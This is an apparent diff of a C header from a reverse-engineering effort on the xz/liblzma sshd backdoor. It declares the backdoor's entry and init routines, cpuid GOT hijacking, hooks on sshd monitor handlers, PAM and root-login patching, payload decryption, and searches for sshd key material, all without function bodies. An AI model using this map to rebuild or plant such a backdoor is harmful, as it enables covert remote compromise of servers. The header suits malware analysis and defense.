2683 extern BOOL secret_data_append_item(
-
2684  secret_data_shift_cursor_t shift_cursor,
-
2685  unsigned operation_index,
-
2686  unsigned shift_count,
-
2687  int index, u8 *code);
-
2688 
-
2697 extern BOOL secret_data_append_items(
-
2698  secret_data_item_t *items,
-
2699  u64 items_count,
-
2700  BOOL (*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *));
-
2701 
-
2712 extern BOOL secret_data_append_from_address(
-
2713  void *addr,
-
2714  secret_data_shift_cursor_t shift_cursor,
-
2715  unsigned shift_count, unsigned operation_index);
-
2716 
-
2759 extern BOOL secret_data_append_singleton(
-
2760  u8 *call_site, u8 *code,
-
2761  secret_data_shift_cursor_t shift_cursor,
-
2762  unsigned shift_count, unsigned operation_index);
-
2763 
-
2775 extern BOOL secret_data_append_from_call_site(
-
2776  secret_data_shift_cursor_t shift_cursor,
-
2777  unsigned shift_count, unsigned operation_index,
-
2778  BOOL bypass
-
2779 );
-
2780 
-
2800 extern BOOL backdoor_setup(backdoor_setup_params_t *params);
-
2801 
-
2807 extern void init_ldso_ctx(ldso_ctx_t *ldso_ctx);
-
2808 
-
2826 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
-
2827 
-
2839 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
-
2840 
-
2852 extern ptrdiff_t init_elf_entry_ctx(elf_entry_ctx_t *ctx);
-
2853 
-
2864 extern ptrdiff_t get_got_offset(elf_entry_ctx_t *ctx);
-
2865 
-
2874 extern u64 get_cpuid_got_index(elf_entry_ctx_t *ctx);
-
2875 
-
2885 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
-
2886 
-
2895 extern BOOL resolve_libc_imports(
-
2896  struct link_map *libc,
-
2897  elf_info_t *libc_info,
-
2898  libc_imports_t *imports
-
2899 );
-
2900 
-
2907 extern BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data);
-
2908 
-
2916 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
-
2917 
-
2929 extern BOOL chacha_decrypt(
-
2930  u8 *in, int inl,
-
2931  u8 *key, u8 *iv,
-
2932  u8 *out, imported_funcs_t *funcs
-
2933 );
-
2934 
-
2942 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
-
2943 
-
2952 extern BOOL is_range_mapped(u8* addr, u64 length, global_context_t* ctx);
-
2953 
-
2960 extern u32 count_bits(u64 x);
-
2961 
-
2973 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
-
2974 
-
3014 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
-
3015 
-
3027 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
-
3028 
-
3037 extern int init_hook_functions(backdoor_hooks_ctx_t *funcs);
-
3038 
-
3057 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
-
3058 
-
3068 extern ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx);
-
3069 
-
3070 typedef struct dl_tls_index
-
3071 {
-
3072  uint64_t ti_module;
-
3073  uint64_t ti_offset;
-
3074 } tls_index;
-
3075 
-
3083 extern void *dummy_tls_get_addr (tls_index *ti);
-
3084 
-
3096 extern uintptr_t backdoor_symbind64(
-
3097  Elf64_Sym *sym,
-
3098  unsigned int ndx,
-
3099  uptr *refcook, uptr *defcook,
-
3100  unsigned int flags,
-
3101  const char *symname);
-
3102 
-
3114 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
-
3115 
-
3130 extern BOOL find_dl_audit_offsets(
-
3131  backdoor_data_handle_t *data,
-
3132  ptrdiff_t *libname_offset,
-
3133  backdoor_hooks_data_t *hooks,
-
3134  imported_funcs_t *imported_funcs);
-
3135 
-
3158 extern BOOL find_link_map_l_name(
-
3159  backdoor_data_handle_t *data_handle,
-
3160  ptrdiff_t *libname_offset,
-
3161  backdoor_hooks_data_t *hooks,
-
3162  imported_funcs_t *imported_funcs);
-
3163 
-
3183 extern BOOL find_dl_naudit(
-
3184  elf_info_t *dynamic_linker_elf,
-
3185  elf_info_t *libcrypto_elf,
-
3186  backdoor_hooks_data_t *hooks,
-
3187  imported_funcs_t *imported_funcs);
-
3188 
-
3205 extern BOOL find_link_map_l_audit_any_plt(
-
3206  backdoor_data_handle_t *data,
-
3207  ptrdiff_t libname_offset,
-
3208  backdoor_hooks_data_t *hooks,
-
3209  imported_funcs_t *imported_funcs);
-
3210 
-
3226 extern BOOL find_link_map_l_audit_any_plt_bitmask(
-
3227  backdoor_data_handle_t *data,
-
3228  instruction_search_ctx_t *search_ctx);
-
3229 
-
3244 extern BOOL sshd_get_sensitive_data_address_via_xcalloc(
-
3245  u8 *data_start,
-
3246  u8 *data_end,
-
3247  u8 *code_start,
-
3248  u8 *code_end,
-
3249  string_references_t *string_refs,
-
3250  void **sensitive_data_out);
-
3251 
-
3266 extern BOOL sshd_get_sensitive_data_address_via_krb5ccname(
-
3267  u8 *data_start,
-
3268  u8 *data_end,
-
3269  u8 *code_start,
-
3270  u8 *code_end,
-
3271  void **sensitive_data_out,
-
3272  elf_info_t *elf);
-
3273 
-
3283 extern int sshd_get_sensitive_data_score_in_demote_sensitive_data(
-
3284  void *sensitive_data,
-
3285  elf_info_t *elf,
-
3286  string_references_t *refs);
-
3287 
-
3297 extern int sshd_get_sensitive_data_score_in_main(
-
3298  void *sensitive_data,
-
3299  elf_info_t *elf,
-
3300  string_references_t *refs);
-
3301 
-
3311 extern int sshd_get_sensitive_data_score_in_do_child(
-
3312  void *sensitive_data,
-
3313  elf_info_t *elf,
-
3314  string_references_t *refs);
-
3315 
-
3325 extern int sshd_get_sensitive_data_score(
-
3326  void *sensitive_data,
-
3327  elf_info_t *elf,
-
3328  string_references_t *refs);
-
3329 
-
3340 extern BOOL bignum_serialize(
-
3341  u8 *buffer, u64 bufferSize,
-
3342  u64 *pOutSize,
-
3343  const BIGNUM *bn,
-
3344  imported_funcs_t *funcs);
-
3345 
-
3346 
-
3353 extern BOOL sshbuf_bignum_is_negative(struct sshbuf *buf);
-
3354 
-
3364 extern BOOL rsa_key_hash(
-
3365  const RSA *rsa,
-
3366  u8 *mdBuf,
-
3367  u64 mdBufSize,
-
3368  imported_funcs_t *funcs);
-
3369 
-
3379 extern BOOL dsa_key_hash(
-
3380  const DSA *dsa,
-
3381  u8 *mdBuf,
-
3382  u64 mdBufSize,
-
3383  global_context_t *ctx);
-
3384 
-
3395 extern BOOL sha256(
-
3396  const void *data,
-
3397  size_t count,
-
3398  u8 *mdBuf,
-
3399  u64 mdBufSize,
-
3400  imported_funcs_t *funcs);
-
3401 
-
3419 extern BOOL verify_signature(
-
3420  struct sshkey *sshkey,
-
3421  u8 *signed_data,
-
3422  u64 sshkey_digest_offset,
-
3423  u64 signed_data_size,
-
3424  u8 *signature,
-
3425  u8 *ed448_raw_key,
-
3426  global_context_t *global_ctx
-
3427 );
-
3428 
-
3440 extern BOOL sshd_patch_variables(
-
3441  BOOL skip_root_patch,
-
3442  BOOL disable_pam,
-
3443  BOOL replace_monitor_reqtype,
-
3444  int monitor_reqtype,
-
3445  global_context_t *global_ctx
-
3446 );
-
3447 
-
3456 extern BOOL sshd_find_monitor_struct(
-
3457  elf_info_t *elf,
-
3458  string_references_t *refs,
-
3459  global_context_t *ctx
-
3460 );
-
3461 
-
3462 enum SocketMode {
-
3463  DIR_WRITE = 0,
-
3464  DIR_READ = 1
-
3465 };
+
2076 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
+
2077 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
+
2078 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
+
2079 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
+
2080 
+
2081 typedef struct __attribute__((packed)) instruction_search_ctx
+
2082 {
+
2087  u8 *start_addr;
+
2092  u8 *end_addr;
+
2097  u8 *offset_to_match;
+
2102  u32 *output_register_to_match;
+
2103  u8 *output_register; // TODO unknown
+
2108  BOOL result;
+
2109  PADDING(0x4);
+
2110  backdoor_hooks_data_t *hooks;
+
2111  imported_funcs_t *imported_funcs;
+
2112 } instruction_search_ctx_t;
+
2113 
+
2114 assert_offset(instruction_search_ctx_t, start_addr, 0);
+
2115 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
+
2116 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
+
2117 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
+
2118 assert_offset(instruction_search_ctx_t, output_register, 0x20);
+
2119 assert_offset(instruction_search_ctx_t, result, 0x28);
+
2120 assert_offset(instruction_search_ctx_t, hooks, 0x30);
+
2121 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
+
2122 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
+
2123 
+
2124 
+
2142 extern BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx);
+
2143 
+
2152 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
+
2153 
+
2163 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
+
2164 
+
2173 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
+
2174 
+
2184 extern BOOL find_instruction_with_mem_operand(
+
2185  u8 *code_start,
+
2186  u8 *code_end,
+
2187  dasm_ctx_t *dctx,
+
2188  void *mem_address
+
2189 );
+
2190 
+
2200 extern BOOL find_lea_instruction_with_mem_operand(
+
2201  u8 *code_start,
+
2202  u8 *code_end,
+
2203  dasm_ctx_t *dctx,
+
2204  void *mem_address
+
2205 );
+
2206 
+
2216 extern BOOL find_add_instruction_with_mem_operand(
+
2217  u8 *code_start,
+
2218  u8 *code_end,
+
2219  dasm_ctx_t *dctx,
+
2220  void *mem_address
+
2221 );
+
2222 
+
2233 extern BOOL find_mov_lea_instruction(
+
2234  u8 *code_start,
+
2235  u8 *code_end,
+
2236  BOOL is_64bit_operand,
+
2237  BOOL load_flag,
+
2238  dasm_ctx_t *dctx
+
2239 );
+
2240 
+
2256 extern BOOL find_mov_instruction(
+
2257  u8 *code_start,
+
2258  u8 *code_end,
+
2259  BOOL is_64bit_operand,
+
2260  BOOL load_flag,
+
2261  dasm_ctx_t *dctx
+
2262 );
+
2263 
+
2274 extern BOOL find_instruction_with_mem_operand_ex(
+
2275  u8 *code_start,
+
2276  u8 *code_end,
+
2277  dasm_ctx_t *dctx,
+
2278  int opcode,
+
2279  void *mem_address
+
2280 );
+
2281 
+
2298 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
+
2299 
+
2308 extern u8 *find_string_reference(
+
2309  u8 *code_start,
+
2310  u8 *code_end,
+
2311  const char *str
+
2312 );
+
2313 
+
2323 extern u8 *elf_find_string_reference(
+
2324  elf_info_t *elf_info,
+
2325  EncodedStringId encoded_string_id,
+
2326  u8 *code_start,
+
2327  u8 *code_end
+
2328 );
+
2329 
+
2349 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
+
2350 
+
2360 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
+
2361 
+
2373 extern BOOL find_function(
+
2374  u8 *code_start,
+
2375  void **func_start,
+
2376  void **func_end,
+
2377  u8 *search_base,
+
2378  u8 *code_end,
+
2379  FuncFindType find_mode);
+
2380 
+
2391 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags);
+
2392 
+
2403 extern BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
+
2404 
+
2412 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
+
2413 
+
2421 extern BOOL is_gnu_relro(Elf64_Word p_type, u32 addend);
+
2422 
+
2436 extern BOOL main_elf_parse(main_elf_t *main_elf);
+
2437 
+
2438 extern char *check_argument(char arg_first_char, char* arg_name);
+
2439 
+
2468 extern BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end);
+
2469 
+
2477 extern BOOL elf_find_string_references(elf_info_t *elf_info, string_references_t *refs);
+
2478 
+
2487 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
+
2488 
+
2496 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2497 
+
2505 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
+
2506 
+
2515 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
+
2516 
+
2533 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
+
2534 
+
2546 extern void *elf_get_reloc_symbol(
+
2547  elf_info_t *elf_info,
+
2548  Elf64_Rela *relocs,
+
2549  u32 num_relocs,
+
2550  u64 reloc_type,
+
2551  EncodedStringId encoded_string_id);
+
2552 
+
2560 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2561 
+
2569 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2570 
+
2584 extern BOOL elf_find_function_pointer(
+
2585  StringXrefId xref_id,
+
2586  void **pOutCodeStart, void **pOutCodeEnd,
+
2587  void **pOutFptrAddr, elf_info_t *elf_info,
+
2588  string_references_t *xrefs,
+
2589  global_context_t *ctx);
+
2590 
+
2603 extern char *elf_find_string(
+
2604  elf_info_t *elf_info,
+
2605  EncodedStringId *stringId_inOut,
+
2606  void *rodata_start_ptr);
+
2607 
+
2614 extern lzma_allocator *get_lzma_allocator(void);
+
2615 
+
2626 extern fake_lzma_allocator_t *get_lzma_allocator_address(void);
+
2627 
+
2636 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
+
2637 
+
2646 extern void fake_lzma_free(void *opaque, void *ptr);
+
2647 
+
2656 extern elf_functions_t *get_elf_functions_address(void);
+
2657 
+
2658 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
+
2659 
+
2672 extern BOOL secret_data_append_from_code(
+
2673  void *code_start,
+
2674  void *code_end,
+
2675  secret_data_shift_cursor_t shift_cursor,
+
2676  unsigned shift_count, BOOL start_from_call);
+
2677 
+
2688 extern BOOL secret_data_append_item(
+
2689  secret_data_shift_cursor_t shift_cursor,
+
2690  unsigned operation_index,
+
2691  unsigned shift_count,
+
2692  int index, u8 *code);
+
2693 
+
2702 extern BOOL secret_data_append_items(
+
2703  secret_data_item_t *items,
+
2704  u64 items_count,
+
2705  BOOL (*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *));
+
2706 
+
2717 extern BOOL secret_data_append_from_address(
+
2718  void *addr,
+
2719  secret_data_shift_cursor_t shift_cursor,
+
2720  unsigned shift_count, unsigned operation_index);
+
2721 
+
2764 extern BOOL secret_data_append_singleton(
+
2765  u8 *call_site, u8 *code,
+
2766  secret_data_shift_cursor_t shift_cursor,
+
2767  unsigned shift_count, unsigned operation_index);
+
2768 
+
2780 extern BOOL secret_data_append_from_call_site(
+
2781  secret_data_shift_cursor_t shift_cursor,
+
2782  unsigned shift_count, unsigned operation_index,
+
2783  BOOL bypass
+
2784 );
+
2785 
+
2805 extern BOOL backdoor_setup(backdoor_setup_params_t *params);
+
2806 
+
2812 extern void init_ldso_ctx(ldso_ctx_t *ldso_ctx);
+
2813 
+
2831 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
+
2832 
+
2844 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
+
2845 
+
2857 extern ptrdiff_t init_elf_entry_ctx(elf_entry_ctx_t *ctx);
+
2858 
+
2869 extern ptrdiff_t get_got_offset(elf_entry_ctx_t *ctx);
+
2870 
+
2879 extern u64 get_cpuid_got_index(elf_entry_ctx_t *ctx);
+
2880 
+
2890 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
+
2891 
+
2900 extern BOOL resolve_libc_imports(
+
2901  struct link_map *libc,
+
2902  elf_info_t *libc_info,
+
2903  libc_imports_t *imports
+
2904 );
+
2905 
+
2912 extern BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data);
+
2913 
+
2921 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
+
2922 
+
2934 extern BOOL chacha_decrypt(
+
2935  u8 *in, int inl,
+
2936  u8 *key, u8 *iv,
+
2937  u8 *out, imported_funcs_t *funcs
+
2938 );
+
2939 
+
2947 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
+
2948 
+
2957 extern BOOL is_range_mapped(u8* addr, u64 length, global_context_t* ctx);
+
2958 
+
2965 extern u32 count_bits(u64 x);
+
2966 
+
2978 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
+
2979 
+
3019 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
+
3020 
+
3032 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
+
3033 
+
3042 extern int init_hook_functions(backdoor_hooks_ctx_t *funcs);
+
3043 
+
3062 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
+
3063 
+
3073 extern ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx);
+
3074 
+
3075 typedef struct dl_tls_index
+
3076 {
+
3077  uint64_t ti_module;
+
3078  uint64_t ti_offset;
+
3079 } tls_index;
+
3080 
+
3088 extern void *dummy_tls_get_addr (tls_index *ti);
+
3089 
+
3101 extern uintptr_t backdoor_symbind64(
+
3102  Elf64_Sym *sym,
+
3103  unsigned int ndx,
+
3104  uptr *refcook, uptr *defcook,
+
3105  unsigned int flags,
+
3106  const char *symname);
+
3107 
+
3119 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
+
3120 
+
3135 extern BOOL find_dl_audit_offsets(
+
3136  backdoor_data_handle_t *data,
+
3137  ptrdiff_t *libname_offset,
+
3138  backdoor_hooks_data_t *hooks,
+
3139  imported_funcs_t *imported_funcs);
+
3140 
+
3163 extern BOOL find_link_map_l_name(
+
3164  backdoor_data_handle_t *data_handle,
+
3165  ptrdiff_t *libname_offset,
+
3166  backdoor_hooks_data_t *hooks,
+
3167  imported_funcs_t *imported_funcs);
+
3168 
+
3188 extern BOOL find_dl_naudit(
+
3189  elf_info_t *dynamic_linker_elf,
+
3190  elf_info_t *libcrypto_elf,
+
3191  backdoor_hooks_data_t *hooks,
+
3192  imported_funcs_t *imported_funcs);
+
3193 
+
3210 extern BOOL find_link_map_l_audit_any_plt(
+
3211  backdoor_data_handle_t *data,
+
3212  ptrdiff_t libname_offset,
+
3213  backdoor_hooks_data_t *hooks,
+
3214  imported_funcs_t *imported_funcs);
+
3215 
+
3231 extern BOOL find_link_map_l_audit_any_plt_bitmask(
+
3232  backdoor_data_handle_t *data,
+
3233  instruction_search_ctx_t *search_ctx);
+
3234 
+
3249 extern BOOL sshd_get_sensitive_data_address_via_xcalloc(
+
3250  u8 *data_start,
+
3251  u8 *data_end,
+
3252  u8 *code_start,
+
3253  u8 *code_end,
+
3254  string_references_t *string_refs,
+
3255  void **sensitive_data_out);
+
3256 
+
3271 extern BOOL sshd_get_sensitive_data_address_via_krb5ccname(
+
3272  u8 *data_start,
+
3273  u8 *data_end,
+
3274  u8 *code_start,
+
3275  u8 *code_end,
+
3276  void **sensitive_data_out,
+
3277  elf_info_t *elf);
+
3278 
+
3288 extern int sshd_get_sensitive_data_score_in_demote_sensitive_data(
+
3289  void *sensitive_data,
+
3290  elf_info_t *elf,
+
3291  string_references_t *refs);
+
3292 
+
3302 extern int sshd_get_sensitive_data_score_in_main(
+
3303  void *sensitive_data,
+
3304  elf_info_t *elf,
+
3305  string_references_t *refs);
+
3306 
+
3316 extern int sshd_get_sensitive_data_score_in_do_child(
+
3317  void *sensitive_data,
+
3318  elf_info_t *elf,
+
3319  string_references_t *refs);
+
3320 
+
3330 extern int sshd_get_sensitive_data_score(
+
3331  void *sensitive_data,
+
3332  elf_info_t *elf,
+
3333  string_references_t *refs);
+
3334 
+
3345 extern BOOL bignum_serialize(
+
3346  u8 *buffer, u64 bufferSize,
+
3347  u64 *pOutSize,
+
3348  const BIGNUM *bn,
+
3349  imported_funcs_t *funcs);
+
3350 
+
3351 
+
3358 extern BOOL sshbuf_bignum_is_negative(struct sshbuf *buf);
+
3359 
+
3369 extern BOOL rsa_key_hash(
+
3370  const RSA *rsa,
+
3371  u8 *mdBuf,
+
3372  u64 mdBufSize,
+
3373  imported_funcs_t *funcs);
+
3374 
+
3384 extern BOOL dsa_key_hash(
+
3385  const DSA *dsa,
+
3386  u8 *mdBuf,
+
3387  u64 mdBufSize,
+
3388  global_context_t *ctx);
+
3389 
+
3400 extern BOOL sha256(
+
3401  const void *data,
+
3402  size_t count,
+
3403  u8 *mdBuf,
+
3404  u64 mdBufSize,
+
3405  imported_funcs_t *funcs);
+
3406 
+
3424 extern BOOL verify_signature(
+
3425  struct sshkey *sshkey,
+
3426  u8 *signed_data,
+
3427  u64 sshkey_digest_offset,
+
3428  u64 signed_data_size,
+
3429  u8 *signature,
+
3430  u8 *ed448_raw_key,
+
3431  global_context_t *global_ctx
+
3432 );
+
3433 
+
3445 extern BOOL sshd_patch_variables(
+
3446  BOOL skip_root_patch,
+
3447  BOOL disable_pam,
+
3448  BOOL replace_monitor_reqtype,
+
3449  int monitor_reqtype,
+
3450  global_context_t *global_ctx
+
3451 );
+
3452 
+
3461 extern BOOL sshd_find_monitor_struct(
+
3462  elf_info_t *elf,
+
3463  string_references_t *refs,
+
3464  global_context_t *ctx
+
3465 );
3466 
-
3479 extern BOOL sshd_get_client_socket(
-
3480  global_context_t *ctx,
-
3481  int *pSocket,
-
3482  int socket_index,
-
3483  enum SocketMode socket_direction
-
3484 );
-
3485 
-
3494 extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports);
-
3495 
-
3504 extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);
-
3505 
-
3515 extern BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize);
-
3516 
-
3526 extern BOOL is_payload_message(
-
3527  u8 *sshbuf_data,
-
3528  size_t sshbuf_size,
-
3529  size_t *pOutPayloadSize,
-
3530  global_context_t *ctx);
-
3531 
-
3540 extern BOOL decrypt_payload_message(
-
3541  void *payload,
-
3542  size_t payload_size,
-
3543  global_context_t *ctx);
-
3544 
-
3551 extern BOOL check_backdoor_state(global_context_t *ctx);
-
3552 
-
3562 extern int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m);
-
3563 
-
3572 extern int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m);
-
3573 
-
3582 extern int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m);
-
3583 
-
3592 extern void mm_log_handler_hook(
-
3593  LogLevel level,
-
3594  int forced,
-
3595  const char *msg,
-
3596  void *ctx);
-
3597 
-
3607 extern ssize_t fd_read(
-
3608  int fd,
-
3609  void *buffer,
-
3610  size_t count,
-
3611  libc_imports_t *funcs);
-
3612 
-
3622 extern ssize_t fd_write(
-
3623  int fd,
-
3624  void *buffer,
-
3625  size_t count,
-
3626  libc_imports_t *funcs);
-
3627 
-
3635 extern BOOL contains_null_pointers(
-
3636  void **pointers,
-
3637  unsigned int num_pointers
-
3638 );
-
3639 
-
3648 extern BOOL count_pointers(
-
3649  void **ptrs,
-
3650  u64 *count_out,
-
3651  libc_imports_t *funcs
-
3652 );
-
3653 
-
3662 extern void sshd_log(
-
3663  sshd_log_ctx_t *log_ctx,
-
3664  LogLevel level, const char *fmt, ...);
-
3665 
-
3677 extern BOOL sshd_find_sensitive_data(
-
3678  elf_info_t *sshd,
-
3679  elf_info_t *libcrypto,
-
3680  string_references_t *refs,
-
3681  imported_funcs_t *funcs,
-
3682  global_context_t *ctx);
-
3683 
-
3690 extern u32 resolver_call_count;
-
3691 static_assert(sizeof(resolver_call_count) == 0x4);
-
3692 
-
3693 extern global_context_t *global_ctx;
-
3694 static_assert(sizeof(global_ctx) == 0x8);
-
3695 
-
3702 extern backdoor_hooks_data_t *hooks_data_addr;
-
3703 static_assert(sizeof(hooks_data_addr) == 0x8);
-
3704 
-
3715 extern const ptrdiff_t fake_lzma_allocator_offset;
-
3716 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
-
3717 
-
3735 extern fake_lzma_allocator_t fake_lzma_allocator;
-
3736 static_assert(sizeof(fake_lzma_allocator) == 0x20);
-
3737 
-
3746 extern const ptrdiff_t elf_functions_offset;
-
3747 static_assert(sizeof(elf_functions_offset) == 0x8);
-
3748 
-
3761 extern const elf_functions_t elf_functions;
-
3762 static_assert(sizeof(elf_functions) == 0x38);
-
3763 
-
3772 extern const u64 cpuid_random_symbol;
-
3773 static_assert(sizeof(cpuid_random_symbol) == 0x8);
-
3774 
-
3783 extern const u64 tls_get_addr_random_symbol;
-
3784 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
-
3785 
-
3794 extern const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts;
-
3795 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
-
3796 
-
3805 extern const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts;
-
3806 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
-
3807 
-
3816 extern const u64 string_mask_data[238];
-
3817 static_assert(sizeof(string_mask_data) == 0x770);
-
3818 
-
3827 extern const u32 string_action_data[1304];
-
3828 static_assert(sizeof(string_action_data) == 0x1460);
-
3829 
-
3830 #include "util.h"
-
3831 #endif
+
3467 enum SocketMode {
+
3468  DIR_WRITE = 0,
+
3469  DIR_READ = 1
+
3470 };
+
3471 
+
3484 extern BOOL sshd_get_client_socket(
+
3485  global_context_t *ctx,
+
3486  int *pSocket,
+
3487  int socket_index,
+
3488  enum SocketMode socket_direction
+
3489 );
+
3490 
+
3499 extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports);
+
3500 
+
3509 extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);
+
3510 
+
3520 extern BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize);
+
3521 
+
3531 extern BOOL is_payload_message(
+
3532  u8 *sshbuf_data,
+
3533  size_t sshbuf_size,
+
3534  size_t *pOutPayloadSize,
+
3535  global_context_t *ctx);
+
3536 
+
3545 extern BOOL decrypt_payload_message(
+
3546  void *payload,
+
3547  size_t payload_size,
+
3548  global_context_t *ctx);
+
3549 
+
3556 extern BOOL check_backdoor_state(global_context_t *ctx);
+
3557 
+
3567 extern int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m);
+
3568 
+
3577 extern int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m);
+
3578 
+
3587 extern int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m);
+
3588 
+
3597 extern void mm_log_handler_hook(
+
3598  LogLevel level,
+
3599  int forced,
+
3600  const char *msg,
+
3601  void *ctx);
+
3602 
+
3612 extern ssize_t fd_read(
+
3613  int fd,
+
3614  void *buffer,
+
3615  size_t count,
+
3616  libc_imports_t *funcs);
+
3617 
+
3627 extern ssize_t fd_write(
+
3628  int fd,
+
3629  void *buffer,
+
3630  size_t count,
+
3631  libc_imports_t *funcs);
+
3632 
+
3640 extern BOOL contains_null_pointers(
+
3641  void **pointers,
+
3642  unsigned int num_pointers
+
3643 );
+
3644 
+
3653 extern BOOL count_pointers(
+
3654  void **ptrs,
+
3655  u64 *count_out,
+
3656  libc_imports_t *funcs
+
3657 );
+
3658 
+
3667 extern void sshd_log(
+
3668  sshd_log_ctx_t *log_ctx,
+
3669  LogLevel level, const char *fmt, ...);
+
3670 
+
3682 extern BOOL sshd_find_sensitive_data(
+
3683  elf_info_t *sshd,
+
3684  elf_info_t *libcrypto,
+
3685  string_references_t *refs,
+
3686  imported_funcs_t *funcs,
+
3687  global_context_t *ctx);
+
3688 
+
3695 extern u32 resolver_call_count;
+
3696 static_assert(sizeof(resolver_call_count) == 0x4);
+
3697 
+
3698 extern global_context_t *global_ctx;
+
3699 static_assert(sizeof(global_ctx) == 0x8);
+
3700 
+
3707 extern backdoor_hooks_data_t *hooks_data_addr;
+
3708 static_assert(sizeof(hooks_data_addr) == 0x8);
+
3709 
+
3720 extern const ptrdiff_t fake_lzma_allocator_offset;
+
3721 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
+
3722 
+
3740 extern fake_lzma_allocator_t fake_lzma_allocator;
+
3741 static_assert(sizeof(fake_lzma_allocator) == 0x20);
+
3742 
+
3751 extern const ptrdiff_t elf_functions_offset;
+
3752 static_assert(sizeof(elf_functions_offset) == 0x8);
+
3753 
+
3766 extern const elf_functions_t elf_functions;
+
3767 static_assert(sizeof(elf_functions) == 0x38);
+
3768 
+
3777 extern const u64 cpuid_random_symbol;
+
3778 static_assert(sizeof(cpuid_random_symbol) == 0x8);
+
3779 
+
